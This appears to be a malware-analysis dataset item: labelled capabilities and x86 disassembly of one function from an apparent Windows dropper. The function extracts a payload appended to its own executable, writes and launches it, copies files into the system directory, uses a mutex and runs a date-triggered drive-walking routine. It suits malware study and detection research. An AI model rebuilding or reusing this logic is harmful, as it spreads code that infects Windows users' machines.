Function at 0x404508
Capabilities:
Check mutex on windows
Copy file
Create process on windows
Delete file
Get common file path
Get disk information
Get file size
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x29
push 0
push 0
dec ecx
jne 0x404510
push ecx
push ebx
push esi
push edi
mov eax, 0x4044d8
call fcn.004037b0
xor eax, eax
push ebp
push 0x404b50
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x404b60
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404574
push ebx
call sub.kernel32.dll_CloseHandle
push 0x40
push 0x404b6c
push 0x404b70
push 0
call sub.user32.dll_MessageBoxA_1
jmp 0x404b2a
push 0x8003
call sub.kernel32.dll_SetErrorMode
mov eax, 0xfe
call fcn.00402438
mov esi, eax
mov eax, 0x64
call fcn.00402438
mov ebx, eax
push 0xfe
push esi
mov eax, dword [0x406650]
push eax
call sub.kernel32.dll_GetModuleFileNameA
push 0x64
push ebx
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x114]
mov edx, ebx
call fcn.00402734
lea edx, [ebp - 0x114]
lea eax, [ebp - 0x14]
call fcn.0040312c
push dword [ebp - 0x14]
push 0x404b84
lea eax, [ebp - 0x11c]
mov edx, esi
call fcn.004030fc
mov eax, dword [ebp - 0x11c]
lea edx, [ebp - 0x118]
call fcn.0040432c
push dword [ebp - 0x118]
mov eax, 0x406674
mov edx, 3
call fcn.00403234
lea eax, [ebp - 0x120]
mov edx, ebx
call fcn.004030fc
mov edx, dword [ebp - 0x120]
mov eax, 0x406678
mov ecx, 0x404b90
call fcn.004031c0
lea eax, [ebp - 0x124]
mov edx, ebx
call fcn.004030fc
mov edx, dword [ebp - 0x124]
mov eax, 0x40667c
mov ecx, 0x404ba0
call fcn.004031c0
lea eax, [ebp - 0x128]
mov edx, ebx
call fcn.004030fc
mov edx, dword [ebp - 0x128]
mov eax, 0x406680
mov ecx, 0x404bb0
call fcn.004031c0
lea eax, [ebp - 0x12c]
mov edx, ebx
call fcn.004030fc
mov edx, dword [ebp - 0x12c]
mov eax, 0x406684
mov ecx, 0x404bc0
call fcn.004031c0
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call sub.kernel32.dll_CreateFileA
mov ebx, eax
push 2
push 0
push 0xfffffffffffffffc
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
push 0x40666c
push 4
push 0x406670
push ebx
call sub.kernel32.dll_ReadFile
push 0
push 0x22
push 1
push 0
push 3
push 0xc0000000
mov eax, dword [0x406674]
call fcn.00403374
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x404777
push 2
push 0
push 0xfffffffffffffffc
push ebx
call sub.kernel32.dll_SetFilePointer
mov edi, eax
mov eax, edi
sub eax, dword [0x406670]
call fcn.00402438
mov dword [0x406668], eax
push 0
push 0
mov eax, dword [0x406670]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
push 0x40666c
mov eax, edi
sub eax, dword [0x406670]
push eax
mov eax, dword [0x406668]
push eax
push ebx
call sub.kernel32.dll_ReadFile
push 0
push 0x40666c
mov eax, edi
sub eax, dword [0x406670]
push eax
mov eax, dword [0x406668]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
push esi
call sub.kernel32.dll_FlushFileBuffers
push esi
call sub.kernel32.dll_CloseHandle
mov edx, edi
sub edx, dword [0x406670]
mov eax, dword [0x406668]
call fcn.00402458
push 0x4066cc
push 0x406688
push 0
push 0
push 0x4000000
push 0xffffffffffffffff
push 0
push 0
push 0
mov eax, dword [0x406674]
call fcn.00403374
push eax
call sub.kernel32.dll_CreateProcessA
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [0x406678]
call fcn.00403374
push eax
call sub.kernel32.dll_CreateFileA
mov dword [0x406664], eax
cmp dword [0x406664], 0xffffffff
je 0x404889
push 0
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_GetFileSize
cmp eax, dword [0x406670]
jbe 0x404947
mov eax, dword [0x406670]
call fcn.00402438
mov esi, eax
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
push 0x40666c
mov eax, dword [0x406670]
push eax
mov edi, esi
push edi
push ebx
call sub.kernel32.dll_ReadFile
push 0
push 0x40666c
mov eax, dword [0x406670]
push eax
push edi
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_SetEndOfFile
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_FlushFileBuffers
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_CloseHandle
mov edx, dword [0x406680]
mov eax, dword [0x406678]
call fcn.00404280
push 0
mov eax, dword [0x40667c]
call fcn.00403374
push eax
mov eax, dword [0x406678]
call fcn.00403374
push eax
call sub.kernel32.dll_CopyFileA
jmp 0x404947
push 0
push 0x80
push 1
push 0
push 3
push 0xc0000000
mov eax, dword [0x406678]
call fcn.00403374
push eax
call sub.kernel32.dll_CreateFileA
mov dword [0x406664], eax
cmp dword [0x406664], 0xffffffff
je 0x404947
mov eax, dword [0x406670]
call fcn.00402438
mov esi, eax
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
push 0x40666c
mov eax, dword [0x406670]
push eax
mov edi, esi
push edi
push ebx
call sub.kernel32.dll_ReadFile
push 0
push 0x40666c
mov eax, dword [0x406670]
push eax
push edi
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_FlushFileBuffers
mov eax, dword [0x406664]
push eax
call sub.kernel32.dll_CloseHandle
mov edx, dword [0x406680]
mov eax, dword [0x406678]
call fcn.00404280
push 0
mov eax, dword [0x40667c]
call fcn.00403374
push eax
mov eax, dword [0x406678]
call fcn.00403374
push eax
call sub.kernel32.dll_CopyFileA
push ebx
call sub.kernel32.dll_CloseHandle
push 0x404bc8
push 0
push 0x1f0001
call sub.kernel32.dll_OpenMutexA
test eax, eax
jne 0x404b0d
push 0x404bc8
push 0
push 0
call fcn.0040388c
mov edi, eax
push 0x4066dc
call sub.kernel32.dll_GetLocalTime
mov bl, byte [0x4066e0]
add bl, 0x30
push 0
push 0x22
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x134]
mov edx, ebx
call fcn.004030ec
mov ecx, dword [ebp - 0x134]
lea eax, [ebp - 0x130]
mov edx, dword [0x406684]
call fcn.004031c0
mov eax, dword [ebp - 0x130]
call fcn.00403374
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
jne 0x404b07
xor esi, esi
lea eax, [ebp - 0x13c]
movzx edx, si
add edx, 0x30
call fcn.004030ec
mov ecx, dword [ebp - 0x13c]
lea eax, [ebp - 0x138]
mov edx, dword [0x406684]
call fcn.004031c0
mov eax, dword [ebp - 0x138]
call fcn.00403374
push eax
call sub.kernel32.dll_DeleteFileA
inc esi
cmp si, 7
jne 0x4049d8
mov byte [0x4066ec], 0
mov si, word [0x4066de]
cmp si, 3
je 0x404a38
cmp si, 6
je 0x404a38
cmp si, 9
jne 0x404a49
cmp word [0x4066e0], 2
jne 0x404a49
mov byte [0x4066ec], 1
mov si, 0x43
lea eax, [ebp - 0x140]
mov edx, esi
call fcn.004030ec
lea eax, [ebp - 0x140]
mov edx, 0x404bd8
call fcn.0040317c
mov eax, dword [ebp - 0x140]
call fcn.00403374
push eax
call sub.kernel32.dll_GetDriveTypeA
sub eax, 5
je 0x404aa8
lea eax, [ebp - 0x144]
mov edx, esi
call fcn.004030ec
lea eax, [ebp - 0x144]
mov edx, 0x404bd8
call fcn.0040317c
mov eax, dword [ebp - 0x144]
call fcn.00403e6c
inc esi
cmp si, 0x58
jne 0x404a4d
push 0
push 0x22
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x14c]
mov edx, ebx
call fcn.004030ec
mov ecx, dword [ebp - 0x14c]
lea eax, [ebp - 0x148]
mov edx, dword [0x406684]
call fcn.004031c0
mov eax, dword [ebp - 0x148]
call fcn.00403374
push eax
call sub.kernel32.dll_CreateFileA
push eax
call sub.kernel32.dll_CloseHandle
cmp byte [0x4066ec], 0
je 0x404b07
call fcn.004043a8
push edi
call sub.kernel32.dll_ReleaseMutex
push 0xffffffffffffffff
mov eax, dword [0x4066cc]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [0x406674]
call fcn.00403374
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404b57
lea eax, [ebp - 0x14c]
mov edx, 0xe
call fcn.0040301c
lea eax, [ebp - 0x14]
call fcn.00402ff8
ret